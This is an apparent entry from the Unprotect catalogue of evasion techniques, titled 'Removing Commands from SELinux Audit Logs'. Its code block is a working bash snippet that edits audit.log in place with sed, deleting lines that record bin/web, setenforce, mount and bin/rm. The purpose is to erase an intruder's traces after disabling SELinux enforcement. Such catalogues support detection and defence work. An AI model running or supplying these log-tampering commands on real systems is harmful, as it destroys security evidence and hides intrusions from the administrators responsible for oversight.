Linux bash / Removing Commands from SELinux Audit Logs
Author | Unprotect |
Platform | Linux |
Language | bash |
Technique | Removing Commands from SELinux Audit Logs |
Code
# Navigate to the SELinux audit log directory
cd /data/var/log/audit/
# Remove specific executed commands from the audit log
sed -i '/bin\/web/d' audit.log
sed -i '/setenforce/d' audit.log
sed -i '/mount/d' audit.log
sed -i '/bin\/rm/d' audit.log
Created
January 16, 2025
Last Revised
January 16, 2025